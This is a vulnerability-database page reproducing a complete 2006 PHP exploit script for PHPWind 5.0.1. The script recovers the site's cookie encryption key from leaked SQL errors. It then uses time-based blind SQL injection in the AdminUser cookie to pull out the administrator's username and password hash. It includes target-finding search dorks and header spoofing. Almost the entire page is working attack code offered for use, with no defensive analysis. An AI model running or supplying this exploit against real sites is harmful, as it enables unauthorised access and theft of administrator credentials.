Lucene search
K

PHPWind <= 5.0.1 (AdminUser) Remote Blind SQL Injection Exploit

🗓️ 14 Nov 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 113 Views

PHPWind <= 5.0.1 Remote Blind SQL Injection Exploi

Code

                                                &lt;?php
print_r('
---------------------------------------------------------------------------
PHPWind &lt;= 5.0.1 &quot;AdminUser&quot; blind SQL injection exploit
by rgod [email protected]
site: http://retrogod.altervista.org
dorks: &quot;powered by phpwind&quot;
       &quot;powered by phpwind v5.0.1&quot; -site:phpwind.net
---------------------------------------------------------------------------
');
if ($argc&lt;3) {
    print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host:      target server (ip/hostname)
path:      path to phpwind
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
 -t[n]:       adjust query timeout (default: 10)
 -b[n]:       adjust the delay for benchmark()
 -e[key]:     specify an encryption key, if you have it
              it is an md5 fragment (18 chars)
Example:
php '.$argv[0].' localhost /phpwind/ -P1.1.1.1:80
php '.$argv[0].' localhost / -p81
php '.$argv[0].' localhost /forum/ -t15 -b20000000
php '.$argv[0].' localhost / -t15 -b20000000
php '.$argv[0].' localhost / -t15 -e298af45091ebcdfbcd
---------------------------------------------------------------------------
');
    die;
}
error_reporting(0);
ini_set(&quot;max_execution_time&quot;,0);
ini_set(&quot;default_socket_timeout&quot;,5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i&lt;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &lt;= 32 ) | (ord($string[$i]) &gt; 126 ))
   {$result.=&quot;  .&quot;;}
   else
   {$result.=&quot;  &quot;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&quot; &quot;.dechex(ord($string[$i]));}
   else
   {$exa.=&quot; 0&quot;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&quot;\r\n&quot;; $exa.=&quot;\r\n&quot;;}
  }
 return $exa.&quot;\r\n&quot;.$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      return;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo &quot;Connecting to &quot;.$parts[0].&quot;:&quot;.$parts[1].&quot; proxy...\r\n&quot;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$timeout=10;
$proxy=&quot;&quot;;
$b=200000000;
$e=&quot;&quot;;
for ($i=3; $i&lt;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp==&quot;-p&quot;)
{
  $port=str_replace(&quot;-p&quot;,&quot;&quot;,$argv[$i]);
}
if ($temp==&quot;-P&quot;)
{
  $proxy=str_replace(&quot;-P&quot;,&quot;&quot;,$argv[$i]);
}
if ($temp==&quot;-t&quot;)
{
  $timeout=(int) str_replace(&quot;-t&quot;,&quot;&quot;,$argv[$i]);
}
if ($temp==&quot;-b&quot;)
{
  $b=(int) str_replace(&quot;-b&quot;,&quot;&quot;,$argv[$i]);
}
if ($temp==&quot;-e&quot;)
{
  $e=str_replace(&quot;-e&quot;,&quot;&quot;,$argv[$i]);
  if (!is_my_key($e)){
      die(&quot;not a valid key...&quot;);
  }
  else {
      $GLOBALS['my_fragment']=$e;
  }

}
}
if (($path[0]&lt;&gt;'/') or ($path[strlen($path)-1]&lt;&gt;'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo &quot;please wait...\n&quot;;

function StrCode($string,$action='ENCODE'){
	$key	= $GLOBALS['my_fragment'];
	$string	= $action == 'ENCODE' ? $string : base64_decode($string);
	$len	= 18;
	$code	= '';
	for($i=0; $i&lt;strlen($string); $i++){
		$k		= $i % $len;
		$code  .= $string[$i] ^ $key[$k];
	}
	$code = $action == 'DECODE' ? $code : base64_encode($code);
	return $code;
}

function random($length) {
	$hash = '';
	$chars = '0123456789abcdef';
	$max = strlen($chars) - 1;
	mt_srand((double)microtime() * 1000000);
	for($i = 0; $i &lt; $length; $i++) {
		$hash .= $chars[mt_rand(0, $max)];
	}
	return $hash;
}

function is_my_key($fragment)
{
 if (ereg(&quot;^[a-f0-9]{18}&quot;,trim($fragment))) {return true;}
 else {return false;}
}

//need cookie prefix...
$packet =&quot;GET &quot;.$p.&quot;index.php HTTP/1.0\r\n&quot;;
$packet.=&quot;CLIENT-IP: 999.999.999.999\r\n&quot;;//spoof
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Accept: text/plain\r\n&quot;;
$packet.=&quot;Connection: Close\r\n\r\n&quot;;
sendpacketii($packet);
$temp=explode(&quot;lastfid=&quot;,$html);
$temp2=explode(&quot;Set-Cookie: &quot;,$temp[0]);
$cp=$temp2[1];
echo &quot;cookie prefix -&gt; &quot;.$cp.&quot;\n&quot;;

if (!$e)
{
//see sql errors... you need a valid key for strcodeii() function,
//so let's ask :)
$tt=&quot;\t&quot;;for ($i=1; $i&lt;=255; $i++){$tt.=chr($i);}
while (1)
{
    $GLOBALS['my_fragment']=random(18);
    $au=StrCode($tt,&quot;ENCODE&quot;);
    $packet =&quot;GET &quot;.$p.&quot;admin.php HTTP/1.0\r\n&quot;;
    $packet.=&quot;CLIENT-IP: 999.999.999.999\r\n&quot;;//spoof
    $packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
    $packet.=&quot;Cookie: &quot;.$cp.&quot;AdminUser=&quot;.$au.&quot;;\r\n&quot;;
    $packet.=&quot;Accept: text/plain\r\n&quot;;
    $packet.=&quot;Connection: Close\r\n\r\n&quot;;
    sendpacketii($packet);
    $html=html_entity_decode($html);
    $html=str_replace(&quot;&lt;br /&gt;&quot;,&quot;&quot;,$html);
    if ((eregi(&quot;WHERE username='&quot;,$html)) and (eregi(&quot;You Can Get Help In&quot;,$html))){
        $temp=explode(&quot;WHERE username='&quot;,$html);
        $temp2=explode(&quot;'&lt;br&gt;&quot;,$temp[1]);
        $decoded=$temp2[0];
        if (strlen($decoded)==255) break;
    }
}

$decoded=&quot;\t&quot;.$decoded;
$temp = $au;

//calculating key...
$key=&quot;&quot;;
for ($j=0; $j&lt;18;  $j++){
    for ($i=0; $i&lt;255; $i++){
        $aa=&quot;&quot;;
        if ($j&lt;&gt;0){
            for ($k=1; $k&lt;=$j; $k++){
                $aa.=&quot;a&quot;;
            }
        }
        $GLOBALS['my_fragment']=$aa.chr($i);
        $t = StrCode($temp,&quot;DECODE&quot;);
        if ($t[$j]==$decoded[$j]){
            $key.=chr($i);
        }
   }
}

if (is_my_key($key)){
    echo &quot;encryption key -&gt;&quot;.$key.&quot;\n&quot;;
    $GLOBALS['my_fragment']=$key;
}
else
{die(&quot;unable to retrieve the magic key...&quot;);}
}
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password=&quot;&quot;;
while (!strstr($password,chr(0)))
{
    for ($i=0; $i&lt;=255; $i++)
    {
        if (in_array($i,$chars))
        {
            //you can use every char because of base64_decode()...so this bypass magic quotes...
            $sql=&quot;9999999'/**/OR/**/(IF((ASCII(SUBSTRING(password,&quot;.$j.&quot;,1))=&quot;.$i.&quot;),benchmark(&quot;.$b.&quot;,char(0)),-1))/**/AND/**/groupid=3/**/LIMIT/**/1/*&quot;;
            echo &quot;sql -&gt; &quot;.$sql.&quot;\n&quot;;
            $packet =&quot;GET &quot;.$p.&quot;admin.php HTTP/1.0\r\n&quot;;
            $packet.=&quot;CLIENT-IP: 1.2.3.4\r\n&quot;;
            $packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
            $packet.=&quot;Cookie: &quot;.$cp.&quot;AdminUser=&quot;.StrCode(&quot;9999999999\t&quot;.$sql,&quot;ENCODE&quot;).&quot;;\r\n&quot;;
            $packet.=&quot;Accept: text/plain\r\n&quot;;
            $packet.=&quot;Connection: Close\r\n\r\n&quot;;
            $packet.=$data;
            sendpacketii($packet);
            usleep(2000000);
            $starttime=time();
            echo &quot;starttime -&gt; &quot;.$starttime.&quot;\r\n&quot;;
            sendpacketii($packet);
            if (eregi(&quot;You Can Get Help In&quot;,$html)) {
                die($html.&quot;\n\n&quot;.&quot;debug: you have to modify sql code injected, it seems a different version...&quot;);
            }
            $endtime=time();
            echo &quot;endtime -&gt; &quot;.$endtime.&quot;\r\n&quot;;
            $difftime=$endtime - $starttime;
            echo &quot;difftime -&gt; &quot;.$difftime.&quot;\r\n&quot;;
            if ($difftime &gt; $timeout) {$password.=chr($i);echo &quot;password -&gt; &quot;.$password.&quot;[???]\r\n&quot;;sleep(2);break;}
        }
        if ($i==255) {
            die(&quot;\nExploit failed...&quot;);
        }
    }
$j++;
}

$j=1;$admin=&quot;&quot;;
while (!strstr($admin,chr(0)))
{
    for ($i=0; $i&lt;=255; $i++)
    {
            $sql=&quot;9999999'/**/OR/**/(IF((ASCII(SUBSTRING(username,&quot;.$j.&quot;,1))=&quot;.$i.&quot;),benchmark(&quot;.$b.&quot;,char(0)),-1))/**/AND/**/groupid=3/**/LIMIT/**/1/*&quot;;
            echo &quot;sql -&gt; &quot;.$sql.&quot;\n&quot;;
            $packet =&quot;GET &quot;.$p.&quot;admin.php HTTP/1.0\r\n&quot;;
            $packet.=&quot;CLIENT-IP: 1.2.3.4\r\n&quot;;
            $packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
            $packet.=&quot;Cookie: &quot;.$cp.&quot;AdminUser=&quot;.StrCode(&quot;9999999999\t&quot;.$sql,&quot;ENCODE&quot;).&quot;;\r\n&quot;;
            $packet.=&quot;Accept: text/plain\r\n&quot;;
            $packet.=&quot;Connection: Close\r\n\r\n&quot;;
            $packet.=$data;
            sendpacketii($packet);
            usleep(2000000);
            $starttime=time();
            echo &quot;starttime -&gt; &quot;.$starttime.&quot;\r\n&quot;;
            sendpacketii($packet);
            $endtime=time();
            echo &quot;endtime -&gt; &quot;.$endtime.&quot;\r\n&quot;;
            $difftime=$endtime - $starttime;
            echo &quot;difftime -&gt; &quot;.$difftime.&quot;\r\n&quot;;
            if ($difftime &gt; $timeout) {$admin.=chr($i);echo &quot;admin -&gt; &quot;.$admin.&quot;[???]\r\n&quot;;sleep(2);break;}
        if ($i==255) {
            die(&quot;\nExploit failed...&quot;);
        }
    }
$j++;
}

function is_hash($hash)
{
 if (ereg(&quot;^[a-f0-9]{32}&quot;,trim($hash))) {return true;}
 else {return false;}
}

if (is_hash($password)) {
    print_r('
--------------------------------------------------------------------------
admin user     -&gt; '.$admin.'
pwd hash (md5) -&gt; '.$password.'
--------------------------------------------------------------------------
');
}
else {
   echo &quot;exploit failed...&quot;;
}
?&gt;

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Nov 2006 00:00Current
7.1High risk
Vulners AI Score7.1
113